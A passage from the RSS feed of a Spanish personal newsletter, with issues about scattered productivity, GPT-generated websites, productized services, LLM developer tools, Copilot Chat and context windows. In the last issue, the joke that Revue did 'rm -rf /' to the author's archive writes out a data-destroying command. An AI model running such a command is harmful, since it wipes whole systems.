  <description>Más IA, haciendo cosas que nadie quiere y ganando millón y pico sin empleados. Yo no.</description>
  <link>https://cuento.beehiiv.com/p/33-multipotencial</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/33-multipotencial</guid>
  <pubDate>Wed, 24 May 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-05-24T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Bienvenidos de nuevo otro miércoles a la newsletter. En esta hablamos de ser un desastre, hacer cosas que nadie quiere y abusar de ChatGPT. Y os dejo también algunas cositas útiles que he encontrado por ahí.</p><p class="paragraph" style="text-align:left;">Muchas cosas sobre <i>cosas</i>.</p><p class="paragraph" style="text-align:left;">Y con esto abordamos el primer tema. <i>Ser un disperso de mierda</i>.</p><hr class="content_break"><h1 class="heading" style="text-align:left;">Dispersos de 💩</h1><p class="paragraph" style="text-align:left;">Hace tiempo que este término, “<i>disperso de mierda”</i>, versión actualizada y mejorada del otrora “<i>multipotencial</i>”, se deja ver de vez en cuando en los círculos gurús patrios.</p><p class="paragraph" style="text-align:left;">Y es que realmente describe con asombrosa precisión lo que yo (y otros que conozco) somos y la forma en la que nos enfrentamos al trabajo.</p><p class="paragraph" style="text-align:left;">En mi caso el resultado es aquello de que empiezo mucho pero acabo poco. Lo que es realmente frustrante porque resulta que por algún motivo extraño a la gente le gusta pagarte por cosas acabadas.</p><p class="paragraph" style="text-align:left;">Y así estamos. A medias como siempre.</p><p class="paragraph" style="text-align:left;">Esta semana pasada la dediqué a un tema nuevo. Esto os lo cuento más adelante. Pero además me acordé de <i>otro</i> tema que tenía a medias hace unas semanas, un proyecto de SaaS de publicidad que empecé a desarrollar cuando sacaron GPT-4.</p><p class="paragraph" style="text-align:left;">Me lo había dejado <i>tan a medias</i> que ni siquiera me acordaba de que lo había empezado. Menudo desastre de persona.</p><p class="paragraph" style="text-align:left;">Por suerte esta newsletter tiene fecha de entrega límite y no voy a tener más remedio que acabarla. Será esa mi satisfacción efímera.</p><p class="paragraph" style="text-align:left;">Empezamos.</p><hr class="content_break"><h1 class="heading" style="text-align:left;">💻 #BuildInPublic — ¿Y esto para qué?</h1><p class="paragraph" style="text-align:left;">Como decía, la semana pasada se me fue la pinza. Como no tenía bastante con la tonelada de trabajo acumulado que arrastro, se me ocurrió experimentar un ratito con ChatGPT y abrir otro melón. </p><p class="paragraph" style="text-align:left;">Los que estáis tan viciados como yo al <i>Jepeté</i> sabréis que eso del <i>ratito</i> igual no fue tan cortito. Me he tirado (casi) la semana entera.</p><p class="paragraph" style="text-align:left;">El objetivo inicial era explorar la forma de generar contenido estructurado con GPT. Esto es, que en lugar de generar texto plano fuese capaz de devolver JSON, YAML o incluso un Diff.</p><p class="paragraph" style="text-align:left;">Como <i>setup</i> experimental le pedí que me creara un formato YAML que describiese una página web. La idea entonces sería, por un lado, crear algo que tradujese el YAML a HTML, para poder publicar la web, y al mismo tiempo afinar los prompts para que GPT generara los YAML íntegramente a partir de una descripción de la empresa o persona detrás de la web.</p><p class="paragraph" style="text-align:left;">El resultado ha quedado medio decente. <i>Scripteando</i> la traducción a HTML con un puñado de componentes <i>copyasteados</i> de una colección de Tailwind y apañando a mano los YAML cuando a la IA se flipa su propia sintaxis, me genera webs más o menos decentes que están para sacar en cuestión de un par de horas.</p><p class="paragraph" style="text-align:left;">Pero, ¿y ahora qué? Porque sí, está bien esto para hacer landings sueltas, pero con lo que me ha costado de montar hubiese pagado suscripción de Carrd medio siglo. ¿Cómo lo monetizo?</p><p class="paragraph" style="text-align:left;">Pues no lo sé. Y este es normalmente el punto en el que se queda el proyecto. Como tantos otros desarrollos en los que me he metido sin tener ni idea quién querría pagar por ellos. Y ha sido buscando una salida que he investigado sobre la reflexión de hoy.</p><hr class="content_break"><h1 class="heading" style="text-align:left;">💬 Reflexión — Servicios productizados</h1><p class="paragraph" style="text-align:left;">En YDEVS, la que es todavía mi empresa pero en la que trabajo poco, hacemos <i>servicios productizados</i>. Bueno, al menos es lo que aspiramos a hacer.</p><p class="paragraph" style="text-align:left;">Hasta hace poco hacíamos <i>servicios y punto</i>. Lo que significa que se fijaba un precio por hora y se cobraba por las horas hechas de lo que le apeteciese al cliente. O, peor todavía, por las horas <i>que nos imaginábamos que haríamos</i> de <i>lo que nos imaginábamos que le apetecía</i>. Esto último evidentemente acabando en desastre regularmente.</p><p class="paragraph" style="text-align:left;">Ahora tenemos un producto. Más o menos. Digamos que es un producto <i>visto desde fuera</i>. Porque desde dentro el cambio no es extremo: se curra en proyectos haciendo lo que quiere el cliente. Con un stack que ya no varía, sí, pero que seguimos manteniendo y evolucionando continuamente.</p><p class="paragraph" style="text-align:left;">Por suerte desde fuera el cambio sí es evidente: ofrecemos un camino a seguir. Como si le metiésemos las barreras laterales de la bolera. <i>Esto es lo que hacemos, esto es lo que necesitas</i>. Y si te sales del dibujo, a pagar.</p><p class="paragraph" style="text-align:left;">Está genial porque hace mucho más fácil saber quién es tu cliente, qué tienes que venderle y cuál es el precio de mercado. Por ahora los márgenes y la rentabilidad acaban siendo parecidos. Léase, una mierda. Todo depende de lo alegremente que desee despedirse de su dinero el cliente, y de lo duro que te estrujen los numerosos intermediarios desde éste hasta nosotros.</p><p class="paragraph" style="text-align:left;">Pero al menos tenemos una piedra sobre la que apoyarnos y optimizar transparentemente para el cliente.</p><p class="paragraph" style="text-align:left;">El modelo creo que es el correcto. Aquello de <a class="link" href="http://paulgraham.com/ds.html?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=33-multipotencial" target="_blank" rel="noopener noreferrer nofollow"><i>do things that don’t scale</i></a>. Camufla trabajo manual en una caja vistosa y véndelo como si lo acabaras de descargar del <i>container</i> de China. Y cuando la cosa eche a rodar con ganas, ya optimizarás y automatizarás.</p><p class="paragraph" style="text-align:left;">Un caso extremo que me crucé hace poco es el de Brett de Designjoy. Un diseñador que, mientras trabajaba por cuenta ajena, sabiendo que tenía tiempo libre y quería ganar más pasta, empezó a vender un producto:</p><p class="paragraph" style="text-align:left;"><i>Servicios de diseño externalizados por $5.000 al mes.</i></p><p class="paragraph" style="text-align:left;">Así, a saco. Y sin límites. Sin presupuestos. Sin negociar precios por hora. Sus clientes podían pedirle cualquier cosa durante el mes y él se quemaba las cejas para sacarlo todo. Cuando llegó a los $80.000 <b>al mes</b> se dejó el trabajo que tenía. Ahora genera $1.300.000 al año. Sus costes totales son $176/mes de Figma, Webflow, Adobe y Shutterstock.</p><p class="paragraph" style="text-align:left;"><i>Boom</i>.</p><p class="paragraph" style="text-align:left;">Y en este punto es donde he visto que la IA es un multiplicador brutal para productizar servicios. Porque hacer algo <i>con IA</i> que alguien quiera vender, es increíblemente difícil. Pero hacer algo vendible <i>y entonces optimizarlo con IA</i> no lo es tanto.</p><p class="paragraph" style="text-align:left;">Así que aprovechemos. Al menos hasta que la propia IA nos haga completamente irrelevantes. Que será pronto.</p><p class="paragraph" style="text-align:left;">Yo voy a intentarlo.</p><hr class="content_break"><h1 class="heading" style="text-align:left;">🛠️ Herramientas — IA y <i>Musicote</i></h1><p class="paragraph" style="text-align:left;">Esta semana me he topado con varias cositas que me han llamado la atención y os las hago llegar para vuestro uso y disfrute.</p><p class="paragraph" style="text-align:left;">Primero, siguiendo con el omnipresente tema de los robots del futuro (estooo, la IA), tenemos <a class="link" href="https://simonwillison.net/2023/May/18/cli-tools-for-llms/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=33-multipotencial" target="_blank" rel="noopener noreferrer nofollow">un set de herramientas para trabajar con LLMs desde la terminal</a>. Limpia HTML, trunca por tokens y accede a las APIs directamente desde la consola. Muy cómodo para probar cosas sueltas con la API sin tener que montar nada o para añadir IA a tu producto con dos scripts de Bash y un CRON dejado caer.</p><p class="paragraph" style="text-align:left;">En la misma línea tenemos <a class="link" href="https://github.com/microsoft/guidance?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=33-multipotencial" target="_blank" rel="noopener noreferrer nofollow">esta librería de Microsoft</a> que nos ayuda a generar y formatear prompts y a forzar la estructura de salida del LLM, además de muchos más <i>helpers</i>. Todavía no la he integrado en ninguno de mis experimentos pero creo que va a ser crucial para cualquier cosa que implique precisión en los formatos de entrada y salida. En particular me gustaría ver si puedo usarlo para que genere <i>diffs</i>. Estoy obsesionado con conseguirlo.</p><p class="paragraph" style="text-align:left;">Ah, y para los que no estén en el meollo twittero de la IA os dejo <a class="link" href="https://github.com/smol-ai/developer/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=33-multipotencial" target="_blank" rel="noopener noreferrer nofollow">smol developer</a>, que lo ha petado en cuatro días con ya casi 7k estrellas en Github. Es ni mas ni menos que un Junior Developer basado en GPT-4 o Anthropic Claude. Las demos son bastante locas, pero por ahora es lento y caro.</p><p class="paragraph" style="text-align:left;">Aún así nos deja entrever cómo la IA se va a ir comiendo el trabajo de los programadores rápidamente en los próximos meses 💀💀. </p><p class="paragraph" style="text-align:left;">Finalmente, para desempalagar de tanta IA, os invito a escuchar <a class="link" href="http://rekt.network?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=33-multipotencial" target="_blank" rel="noopener noreferrer nofollow">rekt.network</a>. En sus propias palabras, <i>”high-quality, 320kbps electronic music including Synthwave, Cyberpunk, Darksynth, EBSM, Midtempo, Industrial, Dark Techno, Drum & Bass genres and much more”</i>. No es para todo el mundo, pero al menos podéis jugar con la web, que es una pasada.</p><hr class="content_break"><p class="paragraph" style="text-align:left;">Hasta aquí la newsletter de hoy, a la que voy a tener que pleantearme cambiar el título para llamarla <i>vivir de la IA y no morir de hambre</i>. Os prometo que intentaré hablar de otras cosas también.</p><p class="paragraph" style="text-align:left;">De los rusos y la guerra atómica, tal vez.</p><p class="paragraph" style="text-align:left;">Ya veremos.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p><p class="paragraph" style="text-align:left;"></p><p class="paragraph" style="text-align:left;"></p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=06c5cce5-8d52-4169-a507-0d9daba2fbb8&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#32 - Todo está en la mente</title>
  <description>Cambiando de aires, Github Copilot Chat y mucha IA, porque me apecÍA.</description>
  <link>https://cuento.beehiiv.com/p/32-todo-esta-en-la-mente</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/32-todo-esta-en-la-mente</guid>
  <pubDate>Wed, 17 May 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-05-17T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Os doy la bienvenida otro miércoles más a la newsletter. Hoy vamos a hablar de enfrentarse a problemas, usar la IA para <i>hacer cosas</i>, Github Copilot Chat y sobre el futuro de los miles de SaaS basados en IA que están saliendo como setas.</p><p class="paragraph" style="text-align:left;">Como es una newsletter larga y densa, y con mucha IA, he decidido hacer un experimento. Así que aquí tenéis un resumen de lo que vais a leer, lo más <i>clickbaity</i> posible, cortesía de nuestro amigo GPT-4:</p><div class="blockquote"><blockquote class="blockquote__quote"><p class="paragraph" style="text-align:left;">¡Hola, hola! ¿Preparados para un viaje lleno de misterio? Aquí os dejo unas migajas para despertar vuestra curiosidad:</p><p class="paragraph" style="text-align:left;">1. <b>Productividad perdida y recuperada</b>: ¿Podrá nuestro protagonista encontrar un oasis de productividad en medio del desierto? La respuesta te sorprenderá.</p><p class="paragraph" style="text-align:left;">2. <b>Inteligencia Artificial al rescate</b>: ¿Cómo enfrentarse a un montón de herramientas digitales sin perder la cordura? Un aliado inesperado tiene la clave.</p><p class="paragraph" style="text-align:left;">3. <b>Enfrentando gigantes de código</b>: Un enfrentamiento cara a cara entre Github Copilot Chat y ChatGPT. ¿Quién será el vencedor?</p><p class="paragraph" style="text-align:left;">4. <b>El futuro de la IA</b>: Un vistazo a las técnicas que podrían redefinir el uso de la Inteligencia Artificial en un futuro cercano.</p><p class="paragraph" style="text-align:left;">¿Intrigados? ¡Adelante, a devorar el contenido completo!</p><figcaption class="blockquote__byline"> GPT-4, también conocido como <i>our future AI overlord.</i></figcaption></blockquote></div><p class="paragraph" style="text-align:left;"><i>Pa’ cagarse </i>con el LLM<i>.</i></p><p class="paragraph" style="text-align:left;">Y ahora sí, como suelen decir los gurús del copy, los de carne y hueso que beben cerveza: empezamos.</p><h1 class="heading" style="text-align:left;">Cambiado de aires</h1><p class="paragraph" style="text-align:left;">La semana pasada trabajé las mismas horas que el mes pasado.</p><p class="paragraph" style="text-align:left;">Te dejo que lo leas otra vez, porque sé que pese a que a nivel sintáctico la cosa no tiene mucho misterio, es una de esas frases que te hace pensar que has leído algo mal, porque el significado obvio no es posible.</p><p class="paragraph" style="text-align:left;">Pero lo es. Es real. Entre los días 1 y 30 de abril registré el mismo número de horas trabajadas que entre los días 8 y 12 de marzo.</p><p class="paragraph" style="text-align:left;">¿Hay motivos que lo justifiquen? Bueno, algunos sí. Vacaciones del colegio, una escapada de cuatro días a Mallorca. En definitiva, varios días de inevitable baja productividad. ¿Pero el resto?</p><p class="paragraph" style="text-align:left;">El resto estaba todo en mi mente.</p><p class="paragraph" style="text-align:left;">Trabajar en casa es un reto imposible. La nevera, el sofá y el YouTube con las piernas encima de la mesa son reclamos a los que sucumbo con frustrante facilidad.</p><p class="paragraph" style="text-align:left;">Y en la oficina, la de la empresa, tres cuartos de lo mismo. Demasiado familiar. Demasiadas oportunidades de marear a los demás (<i>¿una empanadilla?</i>) o de que me mareen (<i>¿hay fuego en producción?</i>). Demasiado ruido, y no necesariamente del tipo auditivo. Y por desgracia demasiada carga emocional negativa entre esas cuatro paredes.</p><p class="paragraph" style="text-align:left;">Estas realizaciones se fueron interiorizando progresivamente durante las pasadas semanas hasta cristalizar en un completo bloqueo al que no era capaz de sobreponerme. <i>Sabía</i> que me sería imposible ser productivo tanto en casa como en la oficina, y consumía las horas obsesionándome sobre el hecho en sí, elucubrando hipótesis e imaginando ajustes horarios o planificaciones milagrosas. </p><p class="paragraph" style="text-align:left;">Así que en un acto de desesperación me cogí la mochila y me eché a andar por Valencia buscando un <i>coworking</i> que me alejara forzosamente de todos estos vicios.</p><p class="paragraph" style="text-align:left;">Y ¡tachán!, bloqueo eliminado. Productividad triplicada.</p><div class="image"><img alt="Un burrito" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/4b82632b-3ef1-4fd7-ae75-7f4c38dbb231/Burrito.png"/><div class="image__source"><span class="image__source_text"><p>Y triplicado también el consumo de shawarmas y burritos.</p></span></div></div><p class="paragraph" style="text-align:left;">Sigo sin poder trabajar en casa. Sigo sin tener demasiadas ganas de ir a la oficina (¡sorry compis!). Pero ese no era el objetivo. El objetivo era ser productivo.</p><p class="paragraph" style="text-align:left;">Así que mi consejo de hoy: cuando estés atascado, fuerza un cambio. Si el problema se hace insuperable, tal vez puedas <i>cambiar el problema</i>.</p><p class="paragraph" style="text-align:left;">Rompe con las dinámicas que no están funcionado y prueba algo distinto. No tiene por qué funcionar, pero si lo que estás haciendo ahora mismo tampoco, ¿por qué sigues insistiendo?</p><hr class="content_break"><h1 class="heading" style="text-align:left;">#BuildInPublic — <i>Usando</i> la IA para algo real</h1><p class="paragraph" style="text-align:left;">No sé dónde lo comenté pero resulta que tengo Diógenes digital y me dedico a acumular artículos, newsletter, tweets y, en particular, <b>herramientas</b>. Y acumular significa que las voy añadiendo a una lista en Notion en las que hay ya unas 600.</p><p class="paragraph" style="text-align:left;">Obviamente el objetivo era ir clasificándolas. La primera aproximación era hacerlo a mano. ¿Tampoco será para tanto, no? Pues sí.</p><p class="paragraph" style="text-align:left;">Se me fue de las manos rápidamente así que busqué una alternativa para agilizar el tema, planteando <a class="link" href="https://tauleta.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=32-todo-esta-en-la-mente" target="_blank" rel="noopener noreferrer nofollow">Tauleta</a>, una app que permitiese editar bases de datos de Notion más ágilmente. Por suerte o por desgracia esta app nunca pasó de la etapa de pseudo-beta-cerrada (vamos que no la programé nunca). Así que la cosa continuó yéndose de las manos.</p><p class="paragraph" style="text-align:left;">Así que finalmente ha tenido que ser la IA la que salve los muebles y he creado un pequeño script que <i>scrapea</i> la web de la herramienta, la pasa a Markdown, se la da de comer a GPT y me genera una descripción, tags y pricing para cada una.</p><p class="paragraph" style="text-align:left;">Todo por un puñado de eurillos y un rato de jugar a truncar textos.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/7256dc31-3d51-46ea-93b5-c1884e51b81f/Screen_Recording_2023-05-11_at_15.07.55.gif"/><div class="image__source"><span class="image__source_text"><p>Es basto, es simple, pero funciona. El resumen de GPT-3.5.</p></span></div></div><p class="paragraph" style="text-align:left;">Ahora me falta decidir qué hacer con esta lista, a parte de lo obvio que es… usarla. Me estoy planteado si a alguien le podría interesar. En otras palabras, si alguien pagaría por una lista curada de este tipo. Ya veremos.</p><hr class="content_break"><h1 class="heading" style="text-align:left;">Herramientas — Github Copilot Chat</h1><p class="paragraph" style="text-align:left;">Hablando de GPT-3.5, la semana pasada me dieron acceso a su rival natural a la hora de generar código, <a class="link" href="https://marketplace.visualstudio.com/items?itemName=GitHub.copilot-chat&utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=32-todo-esta-en-la-mente" target="_blank" rel="noopener noreferrer nofollow">Github Copilot Chat</a>. Le dediqué unas horas a trastearlo bien y me anoté en detalle todo lo que fui experimentando, así que si alguno está interesado en que hable del tema con más profundidad, no dudéis en decírmelo.</p><p class="paragraph" style="text-align:left;">Pero como tip de herramienta de esta semana os voy a hacer un resumen aquí:</p><p class="paragraph" style="text-align:left;">Nada sorprendente.</p><p class="paragraph" style="text-align:left;">Mi principal motivación era evitar los tres problemas fundamentales de programar usando ChatGPT como generador de código:</p><ul><li><p class="paragraph" style="text-align:left;">El constante copy-paste entre tu editor y el navegador</p></li><li><p class="paragraph" style="text-align:left;">La desincronización del modelo interno del código en el LLM y el repositorio real</p></li><li><p class="paragraph" style="text-align:left;">El escaso tamaño de contexto que puede “recordar” GPT-4 y tener en cuenta cuando genera código nuevo.</p></li></ul><p class="paragraph" style="text-align:left;">En teoría todo esto debería resolverse con un modelo que funcionase integrado en la IDE y con acceso a todo el código contextualmente.</p><p class="paragraph" style="text-align:left;">En este sentido Github Copilot Chat resuelve perfectamente el primer problema, ya que vive integrado en VS Code y te permite referirte a trozos de código simplemente teniéndolo abierto en el editor o seleccionándolo, para mayor precisión.</p><p class="paragraph" style="text-align:left;">Sin embargo los dos siguientes puntos no cambian sustancialmente respecto a lo workflow actual con ChatGPT. Copilot Chat sólo accede, hasta donde yo he sido capaz de observar, al fichero abierto en ese momento, y al código seleccionado. No es capaz de acceder ficheros en disco y no es capaz de analizar elementos más sutiles como errores de <i>linting</i> o Typescript en tiempo real.</p><p class="paragraph" style="text-align:left;">Y lo peor de todo es que no es obvio que esto es así. Copilot alucina alegremente que tiene completo acceso al código y que puede ver, por ejemplo, los errores de Typescript en el fichero actual, sólo descubriendo que es una completa ilusión en el momento que le pides un listado de ficheros o un resumen de errores, devolviéndote algo completamente absurdo. </p><hr class="content_break"><h1 class="heading" style="text-align:left;">Reflexion — Todo está en el contexto</h1><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/034c12ed-059c-41e4-bdea-345873ecb5e0/camphoto_959030623.JPG"/><div class="image__source"><span class="image__source_text"><p>Tomándome un café en un banco un miércoles a las 9:57.</p></span></div></div><p class="paragraph" style="text-align:left;">No sé si te habrás fijado en el <i>gif</i> de antes, del <i>script</i> para describir las herramientas de mi tabla de Notion pasándole la web a GPT-3.5.</p><p class="paragraph" style="text-align:left;">Una de las cosas que hace es cortar el texto de la web a las bravas para que quepa en algo menos de ~4000 <i>tokens</i>, que es lo que me queda de espacio máximo para enviarle a la API de OpenAI después de mi <i>prompt</i> inicial.</p><p class="paragraph" style="text-align:left;">¿Qué es un <i>token</i>? Pues es aproximadamente una palabra (algo menos, realmente) que GPT-3.5 (o 4, o cualquier otro LLM) puede “tener en cuenta”, además de su propio conocimiento interno, para generar tu respuesta.</p><p class="paragraph" style="text-align:left;">Con GPT-3.5 son 4.096 tokens, con GPT-4 8.000 y en su última versión, hasta 32.000, que son al cambio unas 25.000 palabras de texto. Unas 50 páginas.</p><p class="paragraph" style="text-align:left;">Entonces, ¿como funcionan estas cosas que estamos viendo de analizar PDFs enteros de 100+ páginas, o <i>knowledge bases</i> de empresas?</p><p class="paragraph" style="text-align:left;">Pues hay dos opciones. La cara, y la barata.</p><p class="paragraph" style="text-align:left;">La cara y compleja es <i>fine-tuning</i>. Es empezar con el modelo base (e.g. GPT-3) y seguir entrenándolo con nuestros propios datos hasta lograr escorar las respuestas a cualquiera que sea nuestro objetivo.</p><p class="paragraph" style="text-align:left;">Por desgracia esta opción no sólo es cara, sino que no está disponible para muchos de los modelos más conocidos y potentes, como GPT-3.5 o GPT-4.</p><p class="paragraph" style="text-align:left;">La barata y habitual es usar <i>embeddings</i>. Esto es, en resumen, usar el propio modelo para crear un <i>buscador</i> de texto. De esta forma cuando el usuario escribe una pregunta, el sistema busca bloques de texto que (en teoría) tengan que ver con lo que se pregunta y entonces usa éstos para hacer la petición a la API de OpenAI.</p><p class="paragraph" style="text-align:left;">Así es como funcionan el 99%, por no decir el 100% de las herramientas de IA sobre grandes cantidades de texto que están saliendo continuamente en Twitter y similares, desde los <i>web-to-chatbot, </i>los <i>pdf-to-chatbot</i>, o cualquier cosa que ingiera un montón de contenido y cree una interfaz de chat con IA.</p><p class="paragraph" style="text-align:left;">Sin embargo esta aproximación no es ideal, pues por definición las respuestas generadas nunca tendrán toda la información en consideración. Es por eso que mucha gente está hablando de que el futuro viene con modelos con contextos mucho más grandes, como por ejemplo el <a class="link" href="https://www.anthropic.com/index/100k-context-windows?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=32-todo-esta-en-la-mente" target="_blank" rel="noopener noreferrer nofollow">modelo Claude de Anthropic que recientemente han actualizado para aceptar un contexto de hasta 100.000 tokens</a>.</p><p class="paragraph" style="text-align:left;">Creo que por aquí van al ir los tiros del futuro inmediato, así que estad atentos.</p><hr class="content_break"><p class="paragraph" style="text-align:left;">Y hasta aquí la newsletter de hoy, intensa, densa (¡1.677 palabras!) y cargada de IA. Igual es porque hoy he estado en casa, y como decía antes, allí no trabajo, y me he venido al coworking a mediodía pero he necesitado hora y media para quitarme las <i>malas vibras</i> de encima y echar a rodar. Así que he aprovechado para escribir este tostón que (con suerte) acabas de leer.</p><p class="paragraph" style="text-align:left;">Como siempre, si os ha gustado compartidlo con amigos, compañeros, vecinos y allegados y cualquier cosa le dais al <i>reply</i>.</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p><p class="paragraph" style="text-align:left;"></p></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=1f4e6cbf-28bc-4b32-83eb-52c57f04245f&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#31 - First issue</title>
  <description>Pues resulta que me he aclarado y he digerido los polvorones. Bueno, lo primero igual no. Veremos.</description>
  <link>https://cuento.beehiiv.com/p/31-first-issue</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/31-first-issue</guid>
  <pubDate>Wed, 10 May 2023 21:00:00 +0000</pubDate>
  <atom:published>2023-05-10T21:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Esta no os la esperabais, ¿eh?</p><p class="paragraph" style="text-align:left;"><i>Boom</i>. Newsletter. Así a lo loco.</p><p class="paragraph" style="text-align:left;">Sepáis que os escribo en confianza porque somos los mismos de siempre. Los (y las) que lleváis ahí, al pie del cañón, inundándome a emails rezumantes de pura desesperación desde aquel fatídico 21 de diciembre donde os dije que ahí os pudrieseis y que si te he visto no me acuerdo.</p><p class="paragraph" style="text-align:left;">A los que la decrepitud y amnesia se les haya instalado en el cuerpo durante estos últimos cinco meses de <i>radio silence</i> y, sí, también a los que por culpa de la basura del <i>Revue</i> aquel no llegaron a recibir ni una puñetera newsletter, os debo al menos un resumen que os sitúe.</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div><h1 class="heading" style="text-align:left;">¿Qué pasó con la newsletter?</h1><p class="paragraph" style="text-align:left;">El caso es que se me acabaron las ideas. Porque lo que tenía que ser una newsletter de <i>negocietes</i>, de hablar sobre mis aventuras en el <i>freelancing</i> y el <i>startuping</i> y el <i>postureing</i> acabó siendo un semanario de chorradas y anécdotas sin fondo alguno sobre las que espolvoreaba desinteresadamente pedacitos de <i>#buildinpublic</i> como el señor ese de las gafas de sol y la carne con sal exfoliándose el antebrazo.</p><p class="paragraph" style="text-align:left;">Y lo del <i>#buildinpublic</i> todavía podía exprimirlo a base de hacer experimentos con gaseosa cada día menos provechosos. Pero lo de las anécdotas no tanto. Porque al final a uno sólo le quedan por contar las de borrachera y tampoco es cuestión de arrastrar mi propia reputación por el suelo cada miércoles.</p><p class="paragraph" style="text-align:left;">Mi conclusión fue clara: <i>esto hay que profesionalizarlo.</i> En otras palabras: se acabó hablaros del <a class="link" href="https://prealfa.com/blog/cuento/vivir-del-cuento-17-knebep-red.html?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=31-first-issue" target="_blank" rel="noopener noreferrer nofollow">whisky de cinco pavos del mercadona</a>, la <a class="link" href="https://prealfa.com/blog/cuento/vivir-del-cuento-20-la-faraona.html?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=31-first-issue" target="_blank" rel="noopener noreferrer nofollow">Faraona de Puzzle</a> o <a class="link" href="https://prealfa.com/blog/cuento/vivir-del-cuento-22-endimoniao.html?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=31-first-issue" target="_blank" rel="noopener noreferrer nofollow">mi lavadora poseída</a>. Ahora íbamos en serio: aquí he venido a hablar de <b>dinero</b>.</p><p class="paragraph" style="text-align:left;">Y pasó lo que tenía que pasar: un fracaso. No volví a escribir nunca mas.</p><p class="paragraph" style="text-align:left;">Curiosamente, lo mismo que me ha pasado siempre que he intentado <i>profesionalizar</i> algo en mi vida.</p><h1 class="heading" style="text-align:left;">¿Y ahora qué?</h1><p class="paragraph" style="text-align:left;">Pues ahora me apetece escribir. ¿Me apetece hacerlo <i>profesionalizado</i>, como pensé que debería? Pues no lo tengo claro todavía. Pero quiero escribir, de eso estoy seguro. Así que voy a hacerlo.</p><p class="paragraph" style="text-align:left;">Porque lo cierto es que ya hace tiempo que me vuelve a apetecer, pero como <i>Revue</i> chapó a las bravas y le hizo un <code>rm -rf /</code> a todo lo que había escrito en las últimas 30 ediciones de esta newsletter, me dio pereza ponerme a buscar una nueva plataforma de publicación.</p><p class="paragraph" style="text-align:left;">De hecho, muy en la línea de mi estilo, me daba tanta pereza buscar que me monté mi propia fumada con buena cosa de bridas y cola <i>termofusible</i>:</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/cefaf409-fbc1-4e3b-b95d-e1bdd1bb5e14/Screenshot_2023-05-10_at_21.26.40.png"/><div class="image__source"><span class="image__source_text"><p>Un plugin de Wordpress para renderizar posts a HTML email-friendly…</p></span></div></div><div class="image"><img alt="" class="image__image" style="" 